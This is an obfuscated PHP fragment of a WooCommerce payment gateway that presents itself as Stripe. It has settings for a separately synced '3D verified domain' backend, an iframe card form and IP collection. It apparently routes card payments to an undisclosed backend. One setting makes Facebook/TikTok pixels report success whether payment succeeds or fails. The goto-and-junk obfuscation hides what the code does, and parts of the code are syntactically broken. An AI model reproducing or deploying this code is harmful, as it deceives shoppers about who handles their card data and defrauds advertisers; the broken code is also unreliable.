init_form_fields(){$U2yBuEt86=array();$U2yBuEt86[]=17;$U2yBuEt86[]=4;$U2yBuEt86[]=16;$U2yBuEt86[]=11;$U2yBuEt86[]=20;$U2yzAvP8H=array();$U2yzAvP8H['title']='Title';$U2yzAvP8H['type']='text';$U2yzAvP8H['description']='*结账页面标题(This controls the title which the user sees during checkout.)';$U2yzAvP8H['default']='Credit or debit card (10% off)';$U2yzAvP8I=array();$U2yzAvP8I['title']='Description';$U2yzAvP8I['type']='textarea';$U2yzAvP8I['description']='*结账页面描述(This controls the description which the user sees during checkout.)';$U2yzAvP8I['default']='All transactions are secure and encrypted.';$U2yzAvP8J=array();$U2yzAvP8J['title']='3D verified domain';$U2yzAvP8J['type']='text';$U2yzAvP8J['description']='*3D验证域名(复制同步后台-源码配置-前台地址)/ 3D verification domain name (copy and synchronize backend-source code configuration-frontend address)';$U2yzAvP8K=array();$U2yzAvP8K['title']='Icon';$U2yzAvP8K['type']='text';$U2yzAvP8K['description']='*结账页面Logo(Checkout interface logo.)';$U2yzAvP8K['default']='https://woocommercecom/wp-content/plugins/woocommerce-payments/assets/images/payment-methods/ccsvg';$U2yzA8M=array();$U2yzA8M[]='经典支付界面';$U2yzA8M[]='1';$U2yeFvPvPvP8L=call_user_func_array("__",$U2yzA8M);unset($U2yzA8M);$U2yzA8O=array();$U2yzA8O[]='CheckoutWC界面';$U2yzA8O[]='2';$U2yeFvPvPvP8N=call_user_func_array("__",$U2yzA8O);unset($U2yzA8O);$U2yzAvPvP8P=array();$U2yzAvPvP8P['1']=$U2yeFvPvPvP8L;$U2yzAvPvP8P['2']=$U2yeFvPvPvP8N;$U2yzAvP8Q=array();$U2yzAvP8Q['title']='支付界面类型';$U2yzAvP8Q['type']='select';$U2yzAvP8Q['description']='请选择你当前主题的支付界面,用来兼容COD和打赏插件';$U2yzAvP8Q['options']=$U2yzAvPvP8P;$U2yzAvP8Q['default']='1';$U2yzAvP8R=array();$U2yzAvP8R['title']='启用货到付款预扣款(Enable COD Deposit)';$U2yzAvP8R['type']='checkbox';$U2yzAvP8R['label']='开启/关闭(Enable/Disable)';$U2yzAvP8R['description']='勾选后,选择货到付款时将收取预扣款(If enabled, a deposit will be charged when user selects Cash on Delivery.)';$U2yzAvP8R['default']='no';$U2yzAvPvP8S=array();$U2yzAvPvP8S['percent']='百分比(Percentage)';$U2yzAvPvP8S['fixed']='固定金额(Fixed Amount)';$U2yzAvP8T=array();$U2yzAvP8T['title']='预扣款类型(Deposit Type)';$U2yzAvP8T['type']='select';$U2yzAvP8T['options']=$U2yzAvPvP8S;$U2yzAvP8T['description']='选择预扣款为订单金额百分比或固定金额(Choose percentage or fixed amount)';$U2yzAvP8T['default']='percent';$U2yzAvPvP8U=array();$U2yzAvPvP8U['min']='0';$U2yzAvPvP8U['step']='001';$U2yzAvP8V=array();$U2yzAvP8V['title']='预扣款金额(Deposit Value)';$U2yzAvP8V['type']='number';$U2yzAvP8V['description']='如果选择百分比,请输入数字(如10代表10%);如选择固定金额,输入金额(如50代表50元)(If percentage, enter a number, eg., 10 for 10%. If fixed, enter the amount, eg., 50 for 50 yuan.)';$U2yzAvP8V['default']='10';$U2yzAvP8V['custom_attributes']=$U2yzAvPvP8U;$U2yzAvP8W=array();$U2yzAvP8W['title']='预扣款名称(Deposit Label)';$U2yzAvP8W['type']='text';$U2yzAvP8W['description']='显示在订单费用明细里的名称,如“货到付款定金”(Name shown in order fees, eg., "COD Deposit")';$U2yzAvP8W['default']='货到付款定金(COD Deposit)';$U2yzAvP8X=array();$U2yzAvP8X['title']='预扣款描述';$U2yzAvP8X['type']='textarea';$U2yzAvP8X['description']='显示在结算页货到付款定金区域,可用 {deposit_percent}、{deposit_amount}、{currency_symbol} 占位符。';$U2yzAvP8X['default']='下单需预付订单金额的 <b>{deposit_percent}%</b> 作为定金,剩余货款收货时支付。<div style="color:#888;font-size:13px;margin-top:4px;">选择其他支付方式无需定金。</div>';$U2yzAvP8Y=array();$U2yzAvP8Y['title']='定金标签';$U2yzAvP8Y['type']='text';$U2yzAvP8Y['description']='定金标签名字,比如:需支付定金/Deposit (pay now)';$U2yzAvP8Y['default']='Deposit (pay now)';$U2yzAvP8Z=array();$U2yzAvP8Z['title']='尾款标签';$U2yzAvP8Z['type']='text';$U2yzAvP8Z['description']='尾款标签名字,比如:货到付款尾款/Balance (on delivery)';$U2yzAvP8Z['default']='Balance (on delivery)';$U2yzAvP90=array();$U2yzAvP90['title']='Enable Payment Discount';$U2yzAvP90['label']='Enable/Disable';$U2yzAvP90['type']='checkbox';$U2yzAvP90['description']='启用支付方式折扣(Enable discount for this payment method)';$U2yzAvP90['default']='yes';$U2yzAvPvP91=array();$U2yzAvPvP91['min']='0';$U2yzAvPvP91['max']='100';$U2yzAvPvP91['step']='001';$U2yzAvP92=array();$U2yzAvP92['title']='Discount Percentage (%)';$U2yzAvP92['type']='number';$U2yzAvP92['description']='折扣百分比,例如输入10表示10%折扣(Discount percentage, eg., enter 10 for 10% discount)';$U2yzAvP92['default']='10';$U2yzAvP92['custom_attributes']=$U2yzAvPvP91;$U2yzAvP93=array();$U2yzAvP93['title']='Discount Label';$U2yzAvP93['type']='text';$U2yzAvP93['description']='折扣显示标签(Label displayed for the discount)';$U2yzAvP93['default']='Payment Method Discount';$U2yzAvP94=array();$U2yzAvP94['title']='Enable Tip';$U2yzAvP94['label']='Enable/Disable';$U2yzAvP94['type']='checkbox';$U2yzAvP94['description']='启用打赏功能(Enable tip/donation on checkout page)';$U2yzAvP94['default']='no';$U2yzAvP95=array();$U2yzAvP95['title']='Tip Label';$U2yzAvP95['type']='text';$U2yzAvP95['description']='打赏显示标签(Label displayed for the tip)';$U2yzAvP95['default']='Add tip';$U2yzAvP96=array();$U2yzAvP96['title']='Order prefix';$U2yzAvP96['type']='text';$U2yzAvP96['description']='*同步后台用来区分站点订单,不同站点请用不一样的前缀(Prevent duplication of order numbers on different sites.)';$U2yzAvP96['default']='A';$U2yzAvP97=array();$U2yzAvP97['title']='Store name';$U2yzAvP97['type']='text';$U2yzAvP97['description']='*3D页面显示的商店(Please fill in the store name displayed when 3D verification payment.)';$U2yzAvP97['default']='Stripe';$U2yzAvP98=array();$U2yzAvP98['title']='Payment error message';$U2yzAvP98['type']='textarea';$U2yzAvP98['description']='*支付错误提示(Payment error message.)';$U2yzAvP98['default']="Sorry, your card does not support this payment, please try another card or change your payment method.";$U2yzAvP99=array();$U2yzAvP99['title']='3ds close button';$U2yzAvP99['label']='Enable/Disable';$U2yzAvP99['type']='checkbox';$U2yzAvP99['description']='是否显示3D验证页面右上角的关闭按钮(Whether to display the close button in the upper right corner of the 3D verification page.)';$U2yzAvP99['default']='no';$U2yzAvP9A=array();$U2yzAvP9A['title']='Facebook/TikTok payment success';$U2yzAvP9A['label']='Enable/Disable';$U2yzAvP9A['type']='checkbox';$U2yzAvP9A['description']='点击支付时,FB/TK像素会回传成功的像素,不管支付成功还是失败(Customize Facebook pixel to convert payment failure to success.)';$U2yzAvP9A['default']='no';$U2yzA9B=array();$U2yzA9B['title']=$U2yzAvP8H;$U2yzA9B['description']=$U2yzAvP8I;$U2yzA9B['domain']=$U2yzAvP8J;$U2yzA9B['icon']=$U2yzAvP8K;$U2yzA9B['cod_tip_type']=$U2yzAvP8Q;$U2yzA9B['enable_cod_deposit']=$U2yzAvP8R;$U2yzA9B['cod_deposit_type']=$U2yzAvP8T;$U2yzA9B['cod_deposit_value']=$U2yzAvP8V;$U2yzA9B['cod_deposit_label']=$U2yzAvP8W;$U2yzA9B['cod_deposit_label_desc1']=$U2yzAvP8X;$U2yzA9B['cod_deposit_label_desc2']=$U2yzAvP8Y;$U2yzA9B['cod_deposit_label_desc3']=$U2yzAvP8Z;$U2yzA9B['enable_discount']=$U2yzAvP90;$U2yzA9B['discount_percentage']=$U2yzAvP92;$U2yzA9B['discount_label']=$U2yzAvP93;$U2yzA9B['enable_tip']=$U2yzAvP94;$U2yzA9B['tip_label']=$U2yzAvP95;$U2yzA9B['prefix']=$U2yzAvP96;$U2yzA9B['store_name']=$U2yzAvP97;$U2yzA9B['error_text']=$U2yzAvP98;$U2yzA9B['show_close']=$U2yzAvP99;$U2yzA9B['fbq_check']=$U2yzAvP9A;unset($U2ytI8G);$U2ytI8G=$U2yzA9B;$this->form_fields=$U2ytI8G;}public function payment_fields(){$U2yBuEt87=array();$U2yBuEt87[]=6;$U2yBuEt87[]=19;$U2yBuEt87[]=15;$U2yBuEt87[]=7;$U2yBuEt87[]=13;$U2yOiRy98=6870;if($this->description)goto U2yeWjgx5t;goto U2yldMhx5t;U2yeWjgx5t:$U2yOiRy98="y"*"a";goto U2yx5s;U2yldMhx5t:U2yx5s:$U2y8G=2*17;$U2y8H=$U2y8G+44;$U2y8I=$U2yOiRy98==$U2y8H;if($U2y8I)goto U2yeWjgx5v;goto U2yldMhx5v;U2yeWjgx5v:echo wpautop(wp_kses_post($this->description));goto U2yx5u;U2yldMhx5v:U2yx5u:echo '<fieldset id="payment-gateway-form" class="notranslate" style="background:transparent;" translate="no">';$U2yzA8H=array();$U2yzA8H[]='/wp-content/plugins/stripe-gateway/assets/indexhtml';$U2yeF8G=call_user_func_array("network_site_url",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$iframe_url=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]=&$iframe_url;$U2yeF8G=call_user_func_array("esc_url",$U2yzA8H);unset($U2yzA8H);$U2y8G='<iframe id="payment-gateway-iframe" src="' . $U2yeF8G;$U2y8H=$U2y8G . '"
frameborder="0" allowtransparency="true" scrolling="no" role="presentation"
allow="payment *; publickey-credentials-get *"
title="3dSecure payment"
style="border: 0px !important; margin: -4px; padding: 0px !important; width: calc(100% + 8px); min-width: 100% !important; overflow: hidden !important; display: block !important; user-select: none !important; transform: translate(0px) !important; color-scheme: light only !important; opacity: 1; height: 211px; transition: height 035s ease 0s, opacity 04s ease 01s;"
></iframe>';echo $U2y8H;echo '</fieldset>';}public function validate_fields(){$U2yBuEt88=array();$U2yBuEt88[]=4;$U2yBuEt88[]=13;$U2yBuEt88[]=19;$U2yBuEt88[]=10;$U2yBuEt88[]=2;return true;}public function getIpAddress(){$U2yBuEt89=array();$U2yBuEt89[]=14;$U2yBuEt89[]=16;$U2yBuEt89[]=17;$U2yBuEt89[]=2;$U2yBuEt89[]=10;$U2yOiRy100=4913;if(class_exists('WC_Geolocation'))goto U2yeWjgx5x;goto U2yldMhx5x;U2yeWjgx5x:$U2yOiRy100="r"*"a";goto U2yx5w;U2yldMhx5x:$U2yOiRy100="r"*"r";U2yx5w:$U2y8G=14*13;$U2y8H=$U2y8G+42;$U2y8I=$U2yOiRy100==$U2y8H;if($U2y8I)goto U2yeWjgx6z;goto U2yldMhx6z;U2yeWjgx6z:unset($U2ytI8G);$U2ytI8G=WC_Geolocation::get_ip_address();$ip_address=$U2ytI8G;goto U2yx5y;U2yldMhx6z:$U2y8G=19*5;$U2y8H=$U2y8G+194;$U2y8I=$U2yOiRy100==$U2y8H;if($U2y8I)goto U2yeWjgx61;goto U2yldMhx61;U2yeWjgx61:$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="getFallbackIp";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=$U2yhC8G;$ip_address=$U2ytI8G;goto U2yx5y;U2yldMhx61:U2yx5y:return $ip_address;}private function getFallbackIp(){$U2yBuEt90=array();$U2yBuEt90[]=8;$U2yBuEt90[]=12;$U2yBuEt90[]=15;$U2yBuEt90[]=14;$U2yBuEt90[]=12;$U2yzA8G=array();$U2yzA8G[]='HTTP_CF_CONNECTING_IP';$U2yzA8G[]='HTTP_X_REAL_IP';$U2yzA8G[]='HTTP_X_FORWARDED_FOR';$U2yzA8G[]='HTTP_CLIENT_IP';$U2yzA8G[]='REMOTE_ADDR';unset($U2ytI8G);$U2ytI8G=$U2yzA8G;$headers=$U2ytI8G;unset($U2yEc1);$U2yEc1=array();foreach($headers as $header){$U2yEc1[]=$header;};$U2y1i=0;U2yx6i:$U2yzA8H=array();$U2yzA8H[]=&$U2yEc1;$U2yeF8G=call_user_func_array("count",$U2yzA8H);unset($U2yzA8H);$U2y8G=$U2y1i<$U2yeF8G;$U2yOiRy125=3391;if($U2y8G)goto U2yeWjgx6w;goto U2yldMhx6w;U2yeWjgx6w:$U2yOiRy125="r"*"r";goto U2yx6v;U2yldMhx6w:U2yx6v:$U2y8G=12*14;$U2y8H=$U2y8G+12;$U2y8I=$U2yOiRy125==$U2y8H;if($U2y8I)goto U2yeWjgx79;goto U2yldMhx79;U2yeWjgx79:$U2y1Key=array_keys($U2yEc1);$U2y1Key=$U2y1Key[$U2y1i];unset($U2ytI8G);$U2ytI8G=$U2yEc1[$U2y1Key];$header=$U2ytI8G;$U2yOiRy108=3382;$U2y8G=!empty($_SERVER[$header]);$U2yOiRy109=3381;if($U2y8G)goto U2yeWjgx7b;goto U2yldMhx7b;U2yeWjgx7b:goto U2yeWjgx6y;goto U2yx7a;U2yldMhx7b:U2yx7a:goto U2yldMhx6y;U2yeWjgx6y:goto U2yeWjgx6m;goto U2yx6x;U2yldMhx6y:U2yx6x:goto U2yldMhx6m;U2yeWjgx6m:goto U2yeWjgx63;goto U2yx6l;U2yldMhx6m:U2yx6l:goto U2yldMhx63;U2yeWjgx63:$U2yOiRy108="a"*"a";goto U2yx62;U2yldMhx63:U2yx62:$U2y8G=13*10;$U2y8H=$U2y8G+66;$U2y8I=$U2yOiRy108==$U2y8H;$U2yOiRy110=3380;if($U2y8I)goto U2yeWjgx7d;goto U2yldMhx7d;U2yeWjgx7d:goto U2yeWjgx71;goto U2yx7c;U2yldMhx7d:U2yx7c:goto U2yldMhx71;U2yeWjgx71:goto U2yeWjgx6o;goto U2yx7z;U2yldMhx71:U2yx7z:goto U2yldMhx6o;U2yeWjgx6o:goto U2yeWjgx6b;goto U2yx6n;U2yldMhx6o:U2yx6n:goto U2yldMhx6b;U2yeWjgx6b:unset($U2ytI8G);$U2ytI8G=$_SERVER[$header];$ip=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]=&$ip;$U2yzA8H[]=',';$U2yeF8G=call_user_func_array("strpos",$U2yzA8H);unset($U2yzA8H);$U2y8G=$U2yeF8G!==false;$U2yOiRy111=3382;if($U2y8G)goto U2yeWjgx7f;goto U2yldMhx7f;U2yeWjgx7f:goto U2yeWjgx73;goto U2yx7e;U2yldMhx7f:U2yx7e:goto U2yldMhx73;U2yeWjgx73:goto U2yeWjgx6q;goto U2yx72;U2yldMhx73:U2yx72:goto U2yldMhx6q;U2yeWjgx6q:goto U2yeWjgx6d;goto U2yx6p;U2yldMhx6q:U2yx6p:goto U2yldMhx6d;U2yeWjgx6d:goto U2yeWjgx65;goto U2yx6c;U2yldMhx6d:U2yx6c:goto U2yldMhx65;U2yeWjgx65:$U2yzA8H=array();$U2yzA8H[]=',';$U2yzA8H[]=&$ip;$U2yeF8G=call_user_func_array("explode",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$ip_list=$U2ytI8G;$U2yzA8K=array();$U2yzA8K[]=$ip_list;$U2yeF8J=call_user_func_array("is_array",$U2yzA8K);unset($U2yzA8K);$U2yOiRy112=3385;if($U2yeF8J)goto U2yeWjgx7h;goto U2yldMhx7h;U2yeWjgx7h:goto U2yeWjgx75;goto U2yx7g;U2yldMhx7h:U2yx7g:goto U2yldMhx75;U2yeWjgx75:goto U2yeWjgx6s;goto U2yx74;U2yldMhx75:U2yx74:goto U2yldMhx6s;U2yeWjgx6s:goto U2yeWjgx6f;goto U2yx6r;U2yldMhx6s:U2yx6r:goto U2yldMhx6f;U2yeWjgx6f:goto U2yeWjgx67;goto U2yx6e;U2yldMhx6f:U2yx6e:goto U2yldMhx67;U2yeWjgx67:$U2ycV8H=&"a";goto U2yx66;U2yldMhx67:$U2ycV8H="a";U2yx66:$U2yzA8I=array();$U2yzA8I[]=&$U2ycV8H;$U2yeF8G=call_user_func_array("trim",$U2yzA8I);unset($U2yzA8I);unset($U2ycV8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$ip=$U2ytI8G;goto U2yx64;U2yldMhx65:U2yx64:$U2yvP8G=FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE;$U2yzA8H=array();$U2yzA8H[]=&$ip;$U2yzA8H[]=FILTER_VALIDATE_IP;$U2yzA8H[]=&$U2yvP8G;$U2yeF8G=call_user_func_array("filter_var",$U2yzA8H);unset($U2yzA8H);$U2yOiRy113=3380;if($U2yeF8G)goto U2yeWjgx7j;goto U2yldMhx7j;U2yeWjgx7j:goto U2yeWjgx77;goto U2yx7i;U2yldMhx7j:U2yx7i:goto U2yldMhx77;U2yeWjgx77:goto U2yeWjgx6u;goto U2yx76;U2yldMhx77:U2yx76:goto U2yldMhx6u;U2yeWjgx6u:goto U2yeWjgx6h;goto U2yx6t;U2yldMhx6u:U2yx6t:goto U2yldMhx6h;U2yeWjgx6h:goto U2yeWjgx69;goto U2yx6g;U2yldMhx6h:U2yx6g:goto U2yldMhx69;U2yeWjgx69:return $ip;goto U2yx68;U2yldMhx69:U2yx68:goto U2yx6a;U2yldMhx6b:U2yx6a:U2yx6j:$U2y1i=$U2y1i+1;goto U2yx6i;goto U2yx78;U2yldMhx79:U2yx78:U2yx6k:return '0000';}private function obscureEmail($email){$U2yBuEt91=array();$U2yBuEt91[]=10;$U2yBuEt91[]=9;$U2yBuEt91[]=2;$U2yBuEt91[]=16;$U2yBuEt91[]=3;return preg_replace_callback('/^(.)(.+?)(?=@)/',function($matches){$U2yBuEt92=array();$U2yBuEt92[]=20;$U2yBuEt92[]=19;$U2yBuEt92[]=8;$U2yBuEt92[]=15;$U2yBuEt92[]=11;$U2y8G="r***';return $U2y8G;},$email);}private function getUuid(){$U2yBuEt93=array();$U2yBuEt93[]=12;$U2yBuEt93[]=6;$U2yBuEt93[]=18;$U2yBuEt93[]=15;$U2yBuEt93[]=17;$U2yzA8H=array();$U2yzA8H[]=16;$U2yeF8G=call_user_func_array("random_bytes",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$U2yOiRy127=5840;$U2yzA8K=array();$U2yzA8K[]=$data;$U2yeF8J=call_user_func_array("is_array",$U2yzA8K);unset($U2yzA8K);if($U2yeF8J)goto U2yeWjgx7l;goto U2yldMhx7l;U2yeWjgx7l:$U2yOiRy127="y"*"a";goto U2yx7k;U2yldMhx7l:$U2yOiRy127="a"*"r";U2yx7k:$U2y8I=15*19;$U2y8J=$U2y8I-81;$U2y8K=$U2yOiRy127==$U2y8J;if($U2y8K)goto U2yeWjgx7n;goto U2yldMhx7n;U2yeWjgx7n:$U2ycVvP8H=&")";goto U2yx7m;U2yldMhx7n:$U2y8L=11*7;$U2y8M=$U2y8L+13;$U2y8N=$U2yOiRy127==$U2y8M;if($U2y8N)goto U2yeWjgx7o;goto U2yldMhx7o;U2yeWjgx7o:$U2ycVvP8H=")";goto U2yx7m;U2yldMhx7o:U2yx7m:$U2yzA8I=array();$U2yzA8I[]=&$U2ycVvP8H;$U2yeFvP8G=call_user_func_array("ord",$U2yzA8I);unset($U2yzA8I);unset($U2ycVvP8H);$U2yvP8G=$U2yeFvP8G&0x0f;$U2yvP8H=$U2yvP8G|0x40;$U2yzA8M=array();$U2yzA8M[]=&$U2yvP8H;$U2yeF8L=call_user_func_array("chr",$U2yzA8M);unset($U2yzA8M);unset($U2ytI8O);$U2ytI8O=$U2yeF8L;")"=$U2ytI8O;$U2yOiRy129=5839;$U2yzA8K=array();$U2yzA8K[]=$data;$U2yeF8J=call_user_func_array("is_array",$U2yzA8K);unset($U2yzA8K);if($U2yeF8J)goto U2yeWjgx7q;goto U2yldMhx7q;U2yeWjgx7q:$U2yOiRy129="a"*"r";goto U2yx7p;U2yldMhx7q:$U2yOiRy129="a"*"a";U2yx7p:$U2y8I=12*6;$U2y8J=$U2y8I+108;$U2y8K=$U2yOiRy129==$U2y8J;if($U2y8K)goto U2yeWjgx7s;goto U2yldMhx7s;U2yeWjgx7s:$U2ycVvP8H=$data[8];goto U2yx7r;U2yldMhx7s:$U2y8L=6*15;$U2y8M=$U2y8L-0;$U2y8N=$U2yOiRy129==$U2y8M;if($U2y8N)goto U2yeWjgx7t;goto U2yldMhx7t;U2yeWjgx7t:$U2ycVvP8H=&$data[8];goto U2yx7r;U2yldMhx7t:U2yx7r:$U2yzA8I=array();$U2yzA8I[]=&$U2ycVvP8H;$U2yeFvP8G=call_user_func_array("ord",$U2yzA8I);unset($U2yzA8I);unset($U2ycVvP8H);$U2yvP8G=$U2yeFvP8G&0x3f;$U2yvP8H=$U2yvP8G|0x80;$U2yzA8M=array();$U2yzA8M[]=&$U2yvP8H;$U2yeF8L=call_user_func_array("chr",$U2yzA8M);unset($U2yzA8M);unset($U2ytI8O);$U2ytI8O=$U2yeF8L;$data[8]=$U2ytI8O;$U2yzA8H=array();$U2yzA8H[]=&$data;$U2yzA8H[]=0;$U2yzA8H[]=4;$U2yeFvPvP8G=call_user_func_array("substr",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]=&$U2yeFvPvP8G;$U2yeFvP8I=call_user_func_array("bin2hex",$U2yzA8J);unset($U2yzA8J);$U2yzA8L=array();$U2yzA8L[]=&$data;$U2yzA8L[]=4;$U2yzA8L[]=2;$U2yeFvPvP8K=call_user_func_array("substr",$U2yzA8L);unset($U2yzA8L);$U2yzA8N=array();$U2yzA8N[]=&$U2yeFvPvP8K;$U2yeFvP8M=call_user_func_array("bin2hex",$U2yzA8N);unset($U2yzA8N);$U2yzA8P=array();$U2yzA8P[]=&$data;$U2yzA8P[]=6;$U2yzA8P[]=2;$U2yeFvPvP8O=call_user_func_array("substr",$U2yzA8P);unset($U2yzA8P);$U2yzA8R=array();$U2yzA8R[]=&$U2yeFvPvP8O;$U2yeFvP8Q=call_user_func_array("bin2hex",$U2yzA8R);unset($U2yzA8R);$U2yzA8T=array();$U2yzA8T[]=&$data;$U2yzA8T[]=8;$U2yzA8T[]=2;$U2yeFvPvP8S=call_user_func_array("substr",$U2yzA8T);unset($U2yzA8T);$U2yzA8V=array();$U2yzA8V[]=&$U2yeFvPvP8S;$U2yeFvP8U=call_user_func_array("bin2hex",$U2yzA8V);unset($U2yzA8V);$U2yzA8X=array();$U2yzA8X[]=&$data;$U2yzA8X[]=10;$U2yzA8X[]=6;$U2yeFvPvP8W=call_user_func_array("substr",$U2yzA8X);unset($U2yzA8X);$U2yzA8Z=array();$U2yzA8Z[]=&$U2yeFvPvP8W;$U2yeFvP8Y=call_user_func_array("bin2hex",$U2yzA8Z);unset($U2yzA8Z);$U2yzA91=array();$U2yzA91[]='%s-%s-%s-%s-%s';$U2yzA91[]=&$U2yeFvP8I;$U2yzA91[]=&$U2yeFvP8M;$U2yzA91[]=&$U2yeFvP8Q;$U2yzA91[]=&$U2yeFvP8U;$U2yzA91[]=&$U2yeFvP8Y;$U2yeF90=call_user_func_array("sprintf",$U2yzA91);unset($U2yzA91);return $U2yeF90;}private function getDomainWithProtocol($url){$U2yBuEt94=array();$U2yBuEt94[]=11;$U2yBuEt94[]=19;$U2yBuEt94[]=16;$U2yBuEt94[]=6;$U2yBuEt94[]=6;$U2yzA8H=array();$U2yzA8H[]=&$url;$U2yeF8G=call_user_func_array("parse_url",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$parsedUrl=$U2ytI8G;$U2yOiRy132=6877;$U2y8G=(bool)isset($parsedUrl['scheme']);if($U2y8G)goto U2yeWjgx7w;goto U2yldMhx7w;U2yeWjgx7w:$U2y8G=(bool)isset($parsedUrl['host']);goto U2yx7v;U2yldMhx7w:U2yx7v:if($U2y8G)goto U2yeWjgx7x;goto U2yldMhx7x;U2yeWjgx7x:$U2yOiRy132="a"*"a";goto U2yx7u;U2yldMhx7x:$U2yOiRy132="r"*"r";U2yx7u:$U2y8G=16*17;$U2y8H=$U2y8G-151;$U2y8I=$U2yOiRy132==$U2y8H;if($U2y8I)goto U2yeWjgx8z;goto U2yldMhx8z;U2yeWjgx8z:$U2y8G=$parsedUrl['scheme'] . "://";$U2y8H=$U2y8G . $parsedUrl['host'];return $U2y8H;goto U2yx7y;U2yldMhx8z:$U2y8G=4*9;$U2y8H=$U2y8G+268;$U2y8I=$U2yOiRy132==$U2y8H;if($U2y8I)goto U2yeWjgx81;goto U2yldMhx81;U2yeWjgx81:$U2yvP8G="Invalid URL: " . $url;$U2yzA8H=array();$U2yzA8H[]=&$U2yvP8G;$U2yeF8G=call_user_func_array("var_dump",$U2yzA8H);unset($U2yzA8H);return null;goto U2yx7y;U2yldMhx81:U2yx7y:}public function enqueue_style(){$U2yBuEt95=array();$U2yBuEt95[]=15;$U2yBuEt95[]=5;$U2yBuEt95[]=9;$U2yBuEt95[]=4;$U2yBuEt95[]=7;$U2yzA8H=array();$U2yzA8H[]=__FILE__;$U2yeF8G=call_user_func_array("plugin_dir_path",$U2yzA8H);unset($U2yzA8H);$U2y8G=$U2yeF8G . 'assets/css/appcss';unset($U2ytI8H);$U2ytI8H=$U2y8G;$css_file=$U2ytI8H;$U2yzA8H=array();$U2yzA8H[]=&$css_file;$U2yeF8G=call_user_func_array("file_exists",$U2yzA8H);unset($U2yzA8H);$U2yOiRy134=3394;if($U2yeF8G)goto U2yeWjgx83;goto U2yldMhx83;U2yeWjgx83:$U2yOiRy134="y"*"r";goto U2yx82;U2yldMhx83:$U2yOiRy134="y"*"a";U2yx82:$U2y8I=11*10;$U2y8J=$U2y8I-47;$U2y8K=$U2yOiRy134==$U2y8J;if($U2y8K)goto U2yeWjgx85;goto U2yldMhx85;U2yeWjgx85:$U2yzA8J=array();$U2yzA8J[]=&$css_file;$U2yeF8I=call_user_func_array("filemtime",$U2yzA8J);unset($U2yzA8J);$U2y8G=$U2yeF8I;goto U2yx84;U2yldMhx85:$U2y8L=2*16;$U2y8M=$U2y8L+73;$U2y8N=$U2yOiRy134==$U2y8M;if($U2y8N)goto U2yeWjgx86;goto U2yldMhx86;U2yeWjgx86:$U2y8G='100';goto U2yx84;U2yldMhx86:U2yx84:unset($U2ytI8H);$U2ytI8H=$U2y8G;$version=$U2ytI8H;$U2yzA8H=array();$U2yzA8H[]=__FILE__;$U2yeFvP8G=call_user_func_array("plugin_dir_url",$U2yzA8H);unset($U2yzA8H);$U2yvP8G=$U2yeFvP8G . 'assets/css/appcss';$U2yzAvP8I=array();$U2yzA8K=array();$U2yzA8K[]='stripe-gateway-css';$U2yzA8K[]=&$U2yvP8G;$U2yzA8K[]=&$U2yzAvP8I;$U2yzA8K[]=&$version;$U2yeF8J=call_user_func_array("wp_register_style",$U2yzA8K);unset($U2yzA8K);$U2yzA8H=array();$U2yzA8H[]='stripe-gateway-css';$U2yeF8G=call_user_func_array("wp_enqueue_style",$U2yzA8H);unset($U2yzA8H);}public function enqueue_scripts(){$U2yBuEt96=array();$U2yBuEt96[]=11;$U2yBuEt96[]=14;$U2yBuEt96[]=5;$U2yBuEt96[]=4;$U2yBuEt96[]=5;$U2yzA8H=array();$U2yzA8H[]='assets/js/crypto-jsminjs';$U2yzA8H[]=__FILE__;$U2yeFvP8G=call_user_func_array("plugins_url",$U2yzA8H);unset($U2yzA8H);$U2yzAvP8I=array();$U2yzA8K=array();$U2yzA8K[]='CryptoJS';$U2yzA8K[]=&$U2yeFvP8G;$U2yzA8K[]=&$U2yzAvP8I;$U2yzA8K[]=null;$U2yzA8K[]=true;$U2yeF8J=call_user_func_array("wp_enqueue_script",$U2yzA8K);unset($U2yzA8K);$U2yOiRy143=2750;$U2yzA8H=array();$U2yzA8H[]='order-pay';$U2yeF8G=call_user_func_array("is_wc_endpoint_url",$U2yzA8H);unset($U2yzA8H);$U2y8I=(bool)$U2yeF8G;$U2y8J=!$U2y8I;if($U2y8J)goto U2yeWjgx8b;goto U2yldMhx8b;U2yeWjgx8b:$U2yzA8J=array();$U2yeF8I=call_user_func_array("is_checkout",$U2yzA8J);unset($U2yzA8J);$U2y8H=(bool)$U2yeF8I;if($U2y8H)goto U2yeWjgx89;goto U2yldMhx89;U2yeWjgx89:$U2yzA8L=array();$U2yzA8L[]='order-received';$U2yeF8K=call_user_func_array("is_wc_endpoint_url",$U2yzA8L);unset($U2yzA8L);$U2y8G=!$U2yeF8K;$U2y8H=(bool)$U2y8G;goto U2yx88;U2yldMhx89:U2yx88:$U2y8I=(bool)$U2y8H;goto U2yx8a;U2yldMhx8b:U2yx8a:if($U2y8I)goto U2yeWjgx8c;goto U2yldMhx8c;U2yeWjgx8c:$U2yOiRy143="r"*"r";goto U2yx87;U2yldMhx8c:U2yx87:$U2y8G=19*9;$U2y8H=$U2y8G+25;$U2y8I=$U2yOiRy143==$U2y8H;if($U2y8I)goto U2yeWjgx8m;goto U2yldMhx8m;U2yeWjgx8m:$U2yzA8H=array();$U2yzA8H[]=__FILE__;$U2yeFvP8G=call_user_func_array("plugin_dir_path",$U2yzA8H);unset($U2yzA8H);$U2yvP8G=$U2yeFvP8G . 